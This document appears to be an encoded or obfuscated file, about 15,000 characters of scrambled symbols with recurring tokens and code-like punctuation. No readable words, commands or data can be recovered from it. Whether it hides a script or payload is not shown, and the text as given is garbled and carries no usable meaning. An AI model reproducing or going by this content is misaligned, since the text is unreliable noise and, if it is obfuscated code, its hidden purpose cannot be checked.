RPAjZEA\Z[\BjCDOETLDWOR??\Sj\VPDQAM[\\@ jECuQPYPAPjZEA\Z[\BjCDOETLDWOR??H???S@[VA\Z[[ZjVFVRj]]^YZZ@R?N]XOC]P\ISGZ\Z[LTD]XOC]P\k????AGLN?\SQPS\[PQ\BjCDOETLDWORGPA@G[?CSROQS@LQDMF@XQVCA@STAAZ [ e}ej|{ajxtme}ej|{ajxtmR DPR AAZ [ ?P_^@POTVP[GSBXAASZLDCW[WR\?DSRSES]GGZFPEEWPPYMG@]twfeta}\RGWQZ[WSVF  \RGWQZ[WSVF?Y\VCjQ\EZFPEEWPPYMG@]twfeta}\RGWQZ[WSVF  WW]YL^QYEQ[Y ?WPWRCSPQZFPEEWPPYMG@]twfeta}\BjCDOETLDWOR\RGWQZ[WSVF ?_TDDE^TXZFPEEWPPYMG@]twfeta}OLX^FPPZQAMMOLX^FPPZQA  ?D^@ZAR WX]^MWEZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[YMMOLX^FPPZQA  ?ML[_FVZBFWW]YL^QYEQ[YZFPEEWPPYMG@]twfeta}R		?CQSjF[\ARTGGTL?CSROQS\RGWQZ[WSVF \BjCDOETLDWOR?CSROQS\RGWQZ[WSVFOLX^FPPZQA ??SZGPTV]CQSjF[\ARTF[YM^_VPEGPS\MN?\SuOLX^FPPZQA[YM^_VPVZ[A\[@P?\XFRSE]uWW]YL^QYEQ[Y [YM^_VP????\S\XFRSE]STYFPVZ[A\[@P???YGO@TGTA]PMWW]YL^QYEQ[YEGPS\M\RGWQZ[WSVFEGPS\M\BjCDOETLDWOR?XW^OWjOjW[OLX^FPPZQA YGO@TGTA]PM\XFRSE]?\SXW^OWjOjW[\XFRSE]FWDSWO@V[[ CFM_\ME[YM^_VPXW^OWjOjW[????H?F]_OQA FCSROQS\RGWQZ[WSVF ?\Su\BjCDOETLDWORF]_OQA FN?[PQRRLTTu\BjCDOETLDWORF]_OQA F?\SWW]YL^QYEQ[Y [PQRRLTT[PQRRLTTN???\SWW]YL^QYEQ[YWW]YL^QYEQ[YOLX^FPPZQA[PQRRLTT IIOLX^FPPZQA[PQRRLTTWW]YL^QYEQ[Y  N?DDAPGjYE_B@SFOFC\VPF]_OQA F?\LYGF@GDVCLPD[F]_OQA F?HPYFPN?FPG\TY\OTWYPAGT[FSZGXPG??T@[ BTW_VQVFVOLX^FPPZQA WW]YL^QYEQ[Y[PQRRLTT?\SWW]YL^QYEQ[Y T@[ BTW_VQVFVT@[ BTW_VQVFV[PQRRLTTFWDSWO@V[[ CFM_\MEF]_OQA FT@[ BTW_VQVFV?@[FPAT@[ BTW_VQVFV?H?H?@[FPA[PQRRLTTCLLP AMQIRWBMCWDj_ACLLP AMQk?H?ER\WWQ\BjCDOETLDWORGFWPOXCWW]YL^QYEQ[YWjEQP DOjXM MTRWFE_ VWjEQP DOjX?A@_]T]ZQP\T^QPS\[PQ\BjCDOETLDWOR
bejvz{ap{ajq|g\BjCDOETLDWOR ER\WWQ?MjP\XTPBMPTGGTL?CSROQSDSRSES]GG?CSROQSY\VCjQ\E?CSROQSWPWRCSPQ?P_^@POTVP[GS_TDDE^TX?P_^@POTVP[GSD^@ZAR WX]^MWE??P_^@POTVP[GSY\VCjQ\E?P_^@POTVP[GSWPWRCSPQ???ER\WWQ_TDDE^TX?ER\WWQD^@ZAR WX]^MWE?ER\WWQY\VCjQ\E?ER\WWQWPWRCSPQ?A@_]T]ZQP\T^_TDDE^TX???A@_]T]ZQP\T^D^@ZAR WX]^MWE?A@_]T]ZQP\T^Y\VCjQ\E?A@_]T]ZQP\T^WPWRCSPQ??AjGBSD]DALY\BREXFBjPE?MjP\XTPBMPnhAjGBSD]DALnh?MjP\XTPBMPnhAjGBSD]DALnh\RGWQZ[WSVF?@[FPAAjGBSD]DAL?\S\BjCDOETLDWORWW]YL^QYEQ[YN?SZGPTV]TGGTLu\RGWQZ[WSVFCSROQS\RGWQZ[WSVFDSRSES]GGTF]  LjXMjP\XTPBMPnh]  LjX?SZGPTV]TGGTLu\RGWQZ[WSVFCSROQSOLX^FPPZQADSRSES]GGTF]  LjXMjP\XTPBMPnh]  LjX?SZGPTV]TGGTLu\BjCDOETLDWORtwfeta}WW]YL^QYEQ[YML[_FVZBF\RGWQZ[WSVFTFYE_TZYMjP\XTPBMPnhYE_TZY?SZGPTV]TGGTLuWW]YL^QYEQ[YCSROQSML[_FVZBF\RGWQZ[WSVFTFYE_TZYMjP\XTPBMPnhYE_TZYYjBTY DWOe}ejxtzgjcpgf|z{TQEMYjBTY DWO?SZGPTV]TGGTLuOLX^FPPZQAP_^@POTVP[GSML[_FVZBF\RGWQZ[WSVFTFYE_TZYMjP\XTPBMPnhYE_TZY?SZGPTV]TGGTLu\RGWQZ[WSVFER\WWQML[_FVZBFOLX^FPPZQATFYE_TZYMjP\XTPBMPnhYE_TZY?SZGPTV]TGGTLuWW]YL^QYEQ[YA@_]T]ZQP\T^ML[_FVZBF\BjCDOETLDWORTFYE_TZYMjP\XTPBMPnhYE_TZY?H?]LGS][BGLMjZFPEEWPPYMG@]twfeta}R?jE[jXCFYTGGTLtwfeta}WW]YL^QYEQ[YCSROQSP_^@POTVP[GSER\WWQA@_]T]ZQP\T^????SZGPTV]jE[jXCFYTFjRQN?bZGQeGPFFVZXXT[QFEZF\A\CPQPS\[\APV\E]PGF@\AP??\Su\BjCDOETLDWORjRQuWW]YL^QYEQ[YjRQA_QWDDMW\[@ZTjRQ\BjCDOETLDWOR]LGS][BGLMjBRW^TOAOBRZT[TBSA\BjCDOETLDWOR?H?\SWW]YL^QYEQ[Y OLX^FPPZQAN?SZGPTV]jE[jXCFYTFjRQN?SZGPTV]TGGTLOLX^FPPZQA\BjCDOETLDWOROLX^FPPZQA\BjCDOETLDWORWW]YL^QYEQ[Y\BjCDOETLDWOR\RGWQZ[WSVFOLX^FPPZQA\BjCDOETLDWOR TF^RMQC]]C@RN_OECLSMTRW OMMP_APXTFP_OECLSMTRW O ?SZGPTV]TGGTLuWW]YL^QYEQ[YjRQ^RMQC]]C@RTFQGYDAADDX\S[\MjP\XTPBMPnhQGYDAADDX\S[\????H?SZGPTV]TGGTLuWW]YL^QYEQ[YjRQ\BjCDOETLDWORTFL[BPPPVAAT[FTZTMjP\XTPBMPnhL[BPPPVAAT[FTZT?H??H?@[FPA]LGS][BGLMjjE[jXCFYjRQ^RMQC]]C@RQGYDAADDX\S[\L[BPPPVAAT[FTZT??QM^X^FD_jQTGGTLtwfeta}OLX^FPPZQACSROQSWW]YL^QYEQ[Y?SZGPTV]QM^X^FD_jQTF^LX^QQMA N?\SuOLX^FPPZQA^LX^QQMA VZ[A\[@P?\XFRSE]uWW]YL^QYEQ[Y^LX^QQMA @OWZ[  M]OFXYFD@OWZ[?\S\XFRSE]WW]YL^QYEQ[Y\XFRSE]\BjCDOETLDWORSTYFPN?\XFRSE]WW]YL^QYEQ[Y \RGWQZ[WSVFWW]YL^QYEQ[YY\VCjQ\E\RGWQZ[WSVF i[\XFRSE]?\SWW]YL^QYEQ[Y \XFRSE]N?\XFRSE]OLX^FPPZQA \BjCDOETLDWOR \BjCDOETLDWORY\VCjQ\EWW]YL^QYEQ[Yi[\XFRSE]??H?\S\BjCDOETLDWOR \XFRSE]N?\XFRSE]\BjCDOETLDWOR WW]YL^QYEQ[Y\BjCDOETLDWORY\VCjQ\EOLX^FPPZQAi[\XFRSE]RGjEA]OPQ\E  BQZL\PRARGjEA]OPQ\E?H?\SWW]YL^QYEQ[Y\XFRSE]FWDSWO@V[[ CFM_\ME^LX^QQMA \XFRSE]?H?H????GVXRGRtwfeta}\RGWQZ[WSVF ?\SuWW]YL^QYEQ[YGVXRGRN?P@^YX^AAjSOLX^FPPZQAtwfeta}\BjCDOETLDWOR??\Su\BjCDOETLDWORP@^YX^AAjSGVXRGRP@^YX^AAjS????H?\Su\RGWQZ[WSVFGVXRGRu\BjCDOETLDWORGVXRGRN?jBVu\BjCDOETLDWORGVXRGRGPE[T\^Z\PGA\W@^S]GPE[T\^Z\P?\SOLX^FPPZQAjBV\BjCDOETLDWORjBVWW]YL^QYEQ[YSTYFPN?Bj[EQ@]_VSOLX^FPPZQAOLX^FPPZQAjBV?\S\RGWQZ[WSVFBj[EQ@]_VSBj[EQ@]_VSjBVCOQ [GQ\DVjWVOW@Bj[EQ@]_VSN????AQM\DXSTOu\BjCDOETLDWORGVXRGR?\SFWDSWO@V[[ CFM_\MEGVXRGRBj[EQ@]_VSAQM\DXSTOuOLX^FPPZQAGVXRGRAQM\DXSTO?H?@[FPABj[EQ@]_VSAQM\DXSTO?H?@[FPAjBV?H?@[FPAGVXRGRP@^YX^AAjS?GCZZFjGj]ZD@OLX^FPPZQA WW]YL^QYEQ[Y
uOLX^FPPZQA\RGWQZ[WSVFSTYFP?\SGCZZFjGj]ZD@IIGCZZFjGj]ZD@GCZZFjGj]ZD@\RGWQZ[WSVF????WOVRQWG@RXFTGGTLtwfeta}GCZZFjGj]ZD@CSROQSGCZZFjGj]ZD@?SZGPTV]WOVRQWG@RXFTFVPTV ]__QAN?\SuWW]YL^QYEQ[YVPTV ]__QAVZ[A\[@P?\XFRSE]uWW]YL^QYEQ[Y VPTV ]__QA???\S\XFRSE]\BjCDOETLDWOR\XFRSE]OLX^FPPZQASTYFPN?\XFRSE]OLX^FPPZQA\RGWQZ[WSVFOLX^FPPZQAWPWRCSPQ\BjCDOETLDWOR\XFRSE]????\SOLX^FPPZQA\XFRSE]FWDSWO@V[[ CFM_\MEVPTV ]__QA\XFRSE]???H?H?_BGTPZOWR_^^VTGGTL????CSROQSWPWRCSPQ?P_^@POTVP[GSWPWRCSPQ???ER\WWQWPWRCSPQ????ELAFZBWOLX^FPPZQAMjP\XTPBMP_BGTPZOWR_^^V?SZGPTV]_BGTPZOWR_^^VTFQPDXZTSXXWEN?\Su\RGWQZ[WSVFQPDXZTSXXWEN?DDAPGjYE_B@SFOFC\VPQPDXZTSXXWE?FWDSWO@V[[ CFM_\MEQPDXZTSXXWE\BjCDOETLDWOR?H?H?SZGPTV]ELAFZBWTFQPDXZTSXXWEN?\SuWW]YL^QYEQ[YQPDXZTSXXWEN?DDAPGjYE_B@SFOFC\VPQPDXZTSXXWE?\LYGF@GDVCLPD[QPDXZTSXXWE????H?H?SZGPTV]SBX_ZVY_ _CTFZXARVVjSP\TDAN?\Su\BjCDOETLDWORZXARVVjSP\TDAIIu\BjCDOETLDWORZXARVVjSP\TDAVZ[A\[@P?\XFRSE]uWW]YL^QYEQ[Y ZXARVVjSP\TDA?\SWW]YL^QYEQ[Y\XFRSE]N?_A_W_W\[SQD@j\Q@GBOP[AMM^MM\XFRSE]\BjCDOETLDWOROLX^FPPZQA?_A_W_W\[SQD@j\Q@GBOP[AMM^MM_A_W_W\[SQD@j\RGWQZ[WSVF\BjCDOETLDWOR?\SOLX^FPPZQA_A_W_W\[SQD@j_A_W_W\[SQD@j\XFRSE]FWDSWO@V[[ CFM_\MEZXARVVjSP\TDA_A_W_W\[SQD@j?@[FPA_A_W_W\[SQD@j?H?H????\S\RGWQZ[WSVF OLX^FPPZQA WW]YL^QYEQ[Y \RGWQZ[WSVF N????^PLGT^GjjBW@MCSY@Z?\S^PLSTYFPN???jTCjX]OQ]j Su\BjCDOETLDWOR ^PLB?\SjTCjX]OQ]j SN?uWW]YL^QYEQ[YjTCjX]OQ]j S?u\BjCDOETLDWOR jTCjX]OQ]j S?H?H?H?\SOLX^FPPZQA WW]YL^QYEQ[YN?DFB@ \WVYBZFPEEWPPYMG@]twfeta}OLX^FPPZQA?uQPYPAPjZEA\Z[DFB@ \WVYB????]j@SRMWF\BjCDOETLDWOROLX^FPPZQA
uRPAjZEA\Z[WW]YL^QYEQ[YTGGTLTGGTL?\SOLX^FPPZQA]j@SRMWFN?\S\FFPA]j@SRMWFnWh\LYGF@GDVCLPD[]j@SRMWFnWh?\S\FFPA]j@SRMWFnWW]YL^QYEQ[Yh\BjCDOETLDWOR]j@SRMWFnWW]YL^QYEQ[YhN?SZGPTV]]j@SRMWFn\BjCDOETLDWORhTFjV\N???\SOLX^FPPZQAjV\\FFPAjV\nWh\LYGF@GDVCLPD[jV\nWh?H?H?H?uQPYPAPjZEA\Z[\BjCDOETLDWOR??uQPYPAPjZEA\Z[\BjCDOETLDWOR?uQPYPAPjZEA\Z[OLX^FPPZQA?uQPYPAPjZEA\Z[\RGWQZ[WSVF ?uQPYPAPjZEA\Z[OLX^FPPZQA ?uQPYPAPjZEA\Z[\RGWQZ[WSVF?uQPYPAPjZEA\Z[OLX^FPPZQA?uQPYPAPjZEA\Z[\RGWQZ[WSVF??@[FPA]j@SRMWFjV\?H?besZ[Ay\WGTGLATMZ[ZXLGPR\FAGTA\Z[??\SWW]YL^QYEQ[YOLX^FPPZQAN?uQPYPAPjAGT[F\P[A\RGWQZ[WSVF?uQPYPAPjAGT[F\P[A\BjCDOETLDWOR?uQPYPAPjAGT[F\P[ATFFGjR\  O\^FD?H?\SWW]YL^QYEQ[Y\RGWQZ[WSVFN???uBEjVYPTGjFV]PQ@YPQj]ZZ^\RGWQZ[WSVFSWCYA@GQDBE I ]PDGMA\V]D[RFSWCYA@GQDBEk???uBEjVYPTGjFV]PQ@YPQj]ZZ^\RGWQZ[WSVF?uBEjVYPTGjFV]PQ@YPQj]ZZ^O[BXODBGCP????H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[^TMMEQSZ\PLAD DT?N?AGLN??\SQPS\[PQOLX^FPPZQAGPA@G[STYFP????CSROQS@LQDMF@XQVCA@ST?XOZ_^Z@YVCSROQS\RGWQZ[WSVF?QCDDTE_B_COL\BjCDOETLDWOR GFWPOXCOLX^FPPZQA?EY]B_VYR[LMPOMML[MC\GXB?\SEY]B_VYR[LMII\BjCDOETLDWOREY]B_VYR[LM	II\BjCDOETLDWOREY]B_VYR[LMM PPQMTSIIWGRGVLX W]D APOEY]B_VYR[LMIICOQ [GQ\DVjWVOW@EY]B_VYR[LMGPA@G[STYFP?V@GGP[AuOLX^FPPZQA XOZ_^Z@YV
u\BjCDOETLDWOR XOZ_^Z@YV?\SOLX^FPPZQAV@GGP[AN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\BjCDOETLDWOR?GPA@G[STYFP?H?V@GGP[A_Bj\F\@\] _^_PV@GGP[A?_CQ Z_GA[LL[BRW^TOAOBRZT[TBSAZFPEEWPPYMG@]twfeta}\BjCDOETLDWOR MM???FGDXRj@D[OX^\BjCDOETLDWOR_CQ Z_GA[LL[WW]YL^QYEQ[Y????X][MGT\BjCDOETLDWOR_CQ Z_GA[LL[WW]YL^QYEQ[Y?TQCE[_DX]ZFPEEWPPYMG@]twfeta}OLX^FPPZQA ?@CL^ VPT[OVCB_\\RGWQZ[WSVFOLX^FPPZQATQCE[_DX]\BjCDOETLDWORV@GGP[A?@[L_DWSY_D OLX^FPPZQA@CL^ VPT[OVCB_\OLX^FPPZQASTYFP?\SWW]YL^QYEQ[YV@GGP[AFGDXRj@D[OX^STYFPWW]YL^QYEQ[YV@GGP[AX][MGTSTYFP@[L_DWSY_D GPA@G[AG@P?V@GGP[AOLX^FPPZQAOLX^FPPZQA@CL^ VPT[OVCB_\?\SWW]YL^QYEQ[YV@GGP[AN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORWW]YL^QYEQ[Y ??GPA@G[STYFP?H?VC\G^YSRjCMATGYR_DOADBF\A?\SVC\G^YSRjCGPA@G[STYFP???VOGPRZ GRGYWW]YL^QYEQ[Y \BjCDOETLDWOR\BjCDOETLDWORQCDDTE_B_COLFAG\[REG_MOYQX_Ck?C^\ZVZE^[jSFXV_QMPE]jEPS?\BjCDOETLDWOR?TGGTLjjfy`rjjjjey`r|{jwtfpjjjjr`tgqj{txpjjjjcpgf|z{jj?TGGTLQCDDTE_B_COLVC\G^YSRjCVOGPRZ GRGYBRW^TOAOBRZT[TBSA????\SC^\ZVZE^N?\S\[ARPAjZEA\Z[WW]YL^QYEQ[YZ^MWjQGV^@FQTLY@\BjCDOETLDWOROLX^FPPZQA????GPA@G[STYFP?H??V@GGP[A_Bj\F\@\] _^_PV@GGP[A?LCQLA\MA[TR_S\RGWQZ[WSVFWW]YL^QYEQ[Y C^\ZVZE^?ZGMB_WAZY[MD\\BjCDOETLDWOR V@GGP[A???\SZGMB_WAZY[MD\N?\SA]RFj\F]SOSS]O[OLX^FPPZQAN???Z^MWjQGV^@FQTLY@\BjCDOETLDWOROLX^FPPZQA ?GPA@G[STYFP?H??\S[VjZ@ZAT TO\XOZ_^Z@YVV@GGP[AN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y\BjCDOETLDWOR????GPA@G[STYFP?H?VDMCPXCLREBO\\_GOLX^FPPZQA?HPYFPN?\S[VjZ@ZAT TO\XOZ_^Z@YVNGjDQFM]@@ABQY^EALMV@GjDQFM]@@ ?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YWW]YL^QYEQ[Y ??GPA@G[STYFP?H?H?CR\AP E]FjM]PY QXX\ESjEGEV@GGP[AFGDXRj@D[OX^i[LCQLA\MA[TR_Si[X][MGT????\SFWDSWO@V[[ CFM_\MEXOZ_^Z@YVCR\AP E]FjM]N?GPA@G[STYFP??H?\SZGMB_WAZY[MD\YTS^L]AS]jTXOZ_^Z@YV?GPA@G[AG@P?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj?GPA@G[STYFP??HVTAV]pMVPEA\Z[YA[E WAjN?GPA@G[STYFP?H????H????S@[VA\Z[SBX_ZVY_ _C?N?G\OVC_OZ]D[QMjMTGGTL???\S\BjCDOETLDWOR\RGWQZ[WSVFGPA@G[G\OVC_OZ]D[QMjM?\QQjj]R_W QPS\[PQ\BjCDOETLDWOR
bejvz{ap{ajq|gQPS\[PQWW]YL^QYEQ[Y
twfeta}WW]YL^QYEQ[Y OLX^FPPZQA ??@EC[BM\MW\[FFAG\[RuRPAjZEA\Z[OLX^FPPZQA ?\S@EC[BM\MW\[FG\OVC_OZ]D[QMjMnh\QQjj]R_W @EC[BM\MW\[F\BjCDOETLDWOR ?SBDM@ FjDXYM]]FAG\[RuRPAjZEA\Z[\RGWQZ[WSVF ???\SSBDM@ FjDXYM]]SBDM@ FjDXYM]]@EC[BM\MW\[FG\OVC_OZ]D[QMjMnh\QQjj]R_W SBDM@ FjDXYM]]WW]YL^QYEQ[Y ????GPA@G[G\OVC_OZ]D[QMjM?H?S@[VA\Z[Y\TBGXW EG [BBG?N?AGLN?\SQPS\[PQWW]YL^QYEQ[YIIOLX^FPPZQA\RGWQZ[WSVF  GPA@G[?SZGPTV]SBX_ZVY_ _CTF\\F RXELY]SN?]ZFAWLAPZGQPG???\MGRQ]j\[@OBXAASZLDCW[WR\\BjCDOETLDWOR ZFPEEWPPYMG@]\\F RXELY]SWW]YL^QYEQ[Y?\SuWW]YL^QYEQ[Y\MGRQ]j\[@OVZ[A\[@P?\SuWW]YL^QYEQ[Y\\F RXELY]Su\RGWQZ[WSVF\\F RXELY]SVZ[A\[@P?C]P MG^Tu\RGWQZ[WSVF \MGRQ]j\[@O?\S\BjCDOETLDWORC]P MG^TIIC]P MG^TVZ[A\[@P???\SFWDSWO@V[[ CFM_\ME\\F RXELY]SC]P MG^TN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y \RGWQZ[WSVF ?u@EQTAPjZEA\Z[\BjCDOETLDWOR OLX^FPPZQA\BjCDOETLDWOR?H?H?uQ\FETAV]VZ@[AX\[F^PAV]??HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN???H?H?S@[VA\Z[QWjFDOM TD M?N????AGLN?\SQPS\[PQOLX^FPPZQAGPA@G[STYFP???]AEFSPTMQCQSBX_ZVY_ _C?\SPXEAL]AEFSPTMQCQGPA@G[STYFP?QPTL\RS]\RV\[ARPAjZEA\Z[OLX^FPPZQA?\SQPTL\RS]\RV\RGWQZ[WSVFQPTL\RS]\RV	MTQMTVGPA@G[STYFP?_CQ Z_GA[LL[BRW^TOAOBRZT[TBSAZFPEEWPPYMG@]twfeta}\BjCDOETLDWOR MM???FGDXRj@D[OX^WW]YL^QYEQ[Y_CQ Z_GA[LL[\RGWQZ[WSVF?X][MGT\BjCDOETLDWOR_CQ Z_GA[LL[WW]YL^QYEQ[Y?VOGPRZ GRGYWW]YL^QYEQ[Y \BjCDOETLDWOR\BjCDOETLDWORtwfeta}FAG\[REG_MOYQX_C		?QCDDTE_B_COLOLX^FPPZQA GFWPOXC\RGWQZ[WSVF?VC\G^YSRjCMATGYR_DOADBF\A???\SVC\G^YSRjCGPA@G[STYFP?AG \D[Y[jSFXV_QMPE]jEPS?\RGWQZ[WSVF?TGGTLjjfy`rjjjjey`r|{jwtfpjjjjr`tgqj{txpjjjjcpgf|z{jj?TGGTLQCDDTE_B_COLVC\G^YSRjCVOGPRZ GRGYBRW^TOAOBRZT[TBSA??\SAG \D[YN???\S\[ARPAjZEA\Z[WW]YL^QYEQ[YZ^MWjQGV^@FQTLY@WW]YL^QYEQ[Y OLX^FPPZQA?GPA@G[STYFP?H?AG \D[Y\BjCDOETLDWOR\RGWQZ[WSVF AG \D[Y?\SWW]YL^QYEQ[YAG \D[YIIAG \D[YGPA@G[STYFP?SZGPTV]]AEFSPTMQCQTFZXARVVjSP\TDAN?\Su\BjCDOETLDWORZXARVVjSP\TDAVZ[A\[@P?@ZXSAO]_Z\BjCDOETLDWOR\RGWQZ[WSVF
uWW]YL^QYEQ[YZXARVVjSP\TDAVSTYFP?\S@ZXSAO]_ZSTYFP\BjCDOETLDWOR\RGWQZ[WSVFuSYZV^@ZXSAO]_Zyzv~jpm?V@GGP[AuOLX^FPPZQA ZXARVVjSP\TDA?\SOLX^FPPZQAV@GGP[AN?Z^MWjQGV^@FQTLY@OLX^FPPZQAOLX^FPPZQA?\S@ZXSAO]_ZSTYFPN??\S\BjCDOETLDWOR\BjCDOETLDWORuSYZV^@ZXSAO]_Zyzv~j`{?uSVYZFP@ZXSAO]_Z?H?VZ[A\[@P?H?AGLN??\S\RGWQZ[WSVF V@GGP[AMVSVMPQV@GGP[A_Bj\F\@\] _^_PV@GGP[APYPWM]OB BI [SBWTETZLTPYPWM]OB Bk?\SWW]YL^QYEQ[YV@GGP[AFGDXRj@D[OX^STYFP\BjCDOETLDWORV@GGP[AX][MGTSTYFPGPA@G[AG@P??\SuOLX^FPPZQAZXARVVjSP\TDAVZ[A\[@P????\MGRQ]j\[@OBXAASZLDCW[WR\OLX^FPPZQAZFPEEWPPYMG@]ZXARVVjSP\TDA		WW]YL^QYEQ[Y ????^LY[Q__LZFPEEWPPYMG@]twfeta}\RGWQZ[WSVF		?V@GGP[A\Q@GBOP[AMM^MMV@GGP[A\BjCDOETLDWOR\RGWQZ[WSVF?V@GGP[A\BjCDOETLDWOR\BjCDOETLDWORV@GGP[A?\SWW]YL^QYEQ[YV@GGP[AN??Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YWW]YL^QYEQ[YWC^MTAE]RDWILC^WVS]OWC^MTAE]RDWk???VZ[A\[@P?H?\SWW]YL^QYEQ[YV@GGP[AOLX^FPPZQASTYFPIIOLX^FPPZQAV@GGP[AOLX^FPPZQASTYFPN?WTWXF\PuWW]YL^QYEQ[Y\MGRQ]j\[@O
u\RGWQZ[WSVF \MGRQ]j\[@OSTYFP?\SWW]YL^QYEQ[YWTWXF\PIIWTWXF\PNAMOBBCTYZ WZSOLM]^Fj AMOBBCTYZ?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y\RGWQZ[WSVF ?VZ[A\[@P?H??V@GGP[AWTWXF\P?@[FPAWTWXF\P?H?BQT\GOCj_EG_ ELDQ\V@GGP[A?\S\RGWQZ[WSVFBQT\GOBQT\GON??WZ]DTPW^^EVuOLX^FPPZQA\MGRQ]j\[@O
u\RGWQZ[WSVF \MGRQ]j\[@OSTYFP?\SWW]YL^QYEQ[YWZ]DTPW^^EVIIWZ]DTPW^^EVBQT\GOFWDSWO@V[[ CFM_\ME\MGRQ]j\[@OBQT\GO???@[FPAWZ]DTPW^^EV?H?@[FPABQT\GO?B\DWRM_Y[PX^OLX^FPPZQA?\SOLX^FPPZQA V@GGP[AWW]YL^QYEQ[YV@GGP[AOLX^FPPZQASTYFPWW]YL^QYEQ[YOLX^FPPZQAV@GGP[A\BjCDOETLDWORN?B\DWRM_Y[PX^?H???QO]MS]QM[WW]YL^QYEQ[YV@GGP[A
i[??EOWMGL^OZVQO]MS]QM[B\DWRM_Y[PX^FGDXRj@D[OX^i[AG \D[Yi[X][MGTi[?\S[VjZ@ZAT TO\ZXARVVjSP\TDAV@GGP[AN?S@YS\YY\[SPTF\WYPTSS\[PALEP???Z^MWjQGV^@FQTLY@OLX^FPPZQA\RGWQZ[WSVF ??VZ[A\[@P?H??\SFWDSWO@V[[ CFM_\MEZXARVVjSP\TDAV@GGP[AEOWMGL^OZVVZ[A\[@P?GPA@G[AG@P?HS\[TYYLN??\S@ZXSAO]_ZSTYFPN?\S\BjCDOETLDWOR\RGWQZ[WSVFuSYZV^@ZXSAO]_Zyzv~j`{?uSVYZFP@ZXSAO]_Z?H?H?H?GPA@G[STYFP?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVFYA[E WAj????GPA@G[STYFP?HVTAV]pMVPEA\Z[YA[E WAjN?GPA@G[STYFP??H?H?S@[VA\Z[j[SYDELQAE  _?N???AGLN????\SQPS\[PQWW]YL^QYEQ[YGPA@G[?\SOXPQS_WCAVOXRB GFWPOXCGPA@G[?CSROQS@LQDMF@XQVCA@ST?DSRSES]GGZFPEEWPPYMG@]twfeta}\BjCDOETLDWOR  kWW]YL^QYEQ[Y?QCDDTE_B_COLWW]YL^QYEQ[Y GFWPOXC\BjCDOETLDWOR?EY]B_VYR[LMPOMML[MC\GXB?\SEY]B_VYR[LMII\BjCDOETLDWOREY]B_VYR[LM	N?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\RGWQZ[WSVF?GPA@G[???H?\S\BjCDOETLDWOR  \BjCDOETLDWORGPA@G[?GCVLWOXEZBBTGGTL?CSROQSDSRSES]GG??CSROQSWW]YL^QYEQ[Y\BjCDOETLDWOR \BjCDOETLDWORDSRSES]GG??YOTB[FT QPS\[PQ\BjCDOETLDWOR
bejvz{ap{ajq|gtwfeta}\BjCDOETLDWOR WW]YL^QYEQ[Y ????\SuWW]YL^QYEQ[YYOTB[FT N?jC X_QjAFBYB@F@][ P]F]TFD^@YOTB[FT ??\S\RGWQZ[WSVFjC X_QjAFBYBN????SZGPTV]jC X_QjAFBYBTFYA[E WAjN?\FRGDWWMEYOTB[FT YA[E WAj?\SuOLX^FPPZQA\FRGDWWMEuOLX^FPPZQA\FRGDWWMEN?GCVLWOXEZBBnh\FRGDWWMEDSRSES]GG????WGPT^?H????H?u\[APGG@EAFAG@VA@GTYALEP??H?H?\[_PVA\CPTQ_TQTEAPG??SZGPTV]GCVLWOXEZBBTFY ]\GAYQDN?\SuOLX^FPPZQAY ]\GAYQDu\RGWQZ[WSVFY ]\GAYQDMSSMPN?S[CZBPLL\RGWQZ[WSVF??\S\BjCDOETLDWOR  S[CZBPLLN?_@GZAXOP[PBS[CZBPLL?\Su_@GZAXOPZEP[Y ]\GAYQDAG@PN????_@GZAXOPVYZFP?VZ[A\[@P?H?H?H????GE^Y^@VFWW]YL^QYEQ[YY ]\GAYQD?\SuOLX^FPPZQAGE^Y^@VFj[M^MFYLR_STTQGE^Y^@VFAG@P?S[CZBPLLOLX^FPPZQA???LLCFXQWDLQQVjG[VQQ]E@^jVMGE^Y^@VF\RGWQZ[WSVF???\SLLCFXQWDLQQSTYFPVZ[A\[@P?jjLjLG\VF[PBS[CZBPLL?\SujjLjLG\VFZEP[LLCFXQWDLQQS[CZBPLLvgptapIS[CZBPLLzcpgbg|apAG@PN?jjLjLG\VFTQQsGZXfAG\[RQCDDTE_B_COLQCDDTE_B_COL\BjCDOETLDWOREY]B_VYR[LM?jjLjLG\VFVYZFP?SDEYBXRBMP[PBS[CZBPLL?\SuSDEYBXRBMPZEP[LLCFXQWDLQQAG@PN?SDEYBXRBMPVYZFP?\S]GYC O_WB@j^ELLCFXQWDLQQY ]\GAYQDIISZO@BRBG\MTLLCFXQWDLQQY ]\GAYQD\LYGF@GDVCLPD[LLCFXQWDLQQN?V^]@[\jMVLRAQAY ]\GAYQDB]OM@L]P@\S???DDAPGjYE_B@SFOFC\VPY ]\GAYQD????HPYFPN?befPGCPGf\QPgP[QPGVZ[FAT[AA\XPFV]PQ@YPG?????\LYGF@GDVCLPD[LLCFXQWDLQQ?H?TEEGZM\XTAPXTAV]??HPYFPN?\LYGF@GDVCLPD[LLCFXQWDLQQ?H?HPYFPN?\LYGF@GDVCLPD[LLCFXQWDLQQ?H?H?HVTAV]a]GZBTWYPYA[E WAjN????Z^MWjQGV^@FQTLY@\BjCDOETLDWOR YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H????H?S@[VA\Z[_LS^LOQM_RPGE?N????AGLN???\S\BjCDOETLDWOR\RGWQZ[WSVFII\BjCDOETLDWOROLX^FPPZQAGPA@G[?\SQPS\[PQ\RGWQZ[WSVFGPA@G[??V\TYjDFY\BjCDOETLDWOR?\SBEj[PMAjFV]PQ@YPQV\TYjDFYN???BEjFV]PQ@YPjPCP[A\BjCDOETLDWOR\RGWQZ[WSVFV\TYjDFY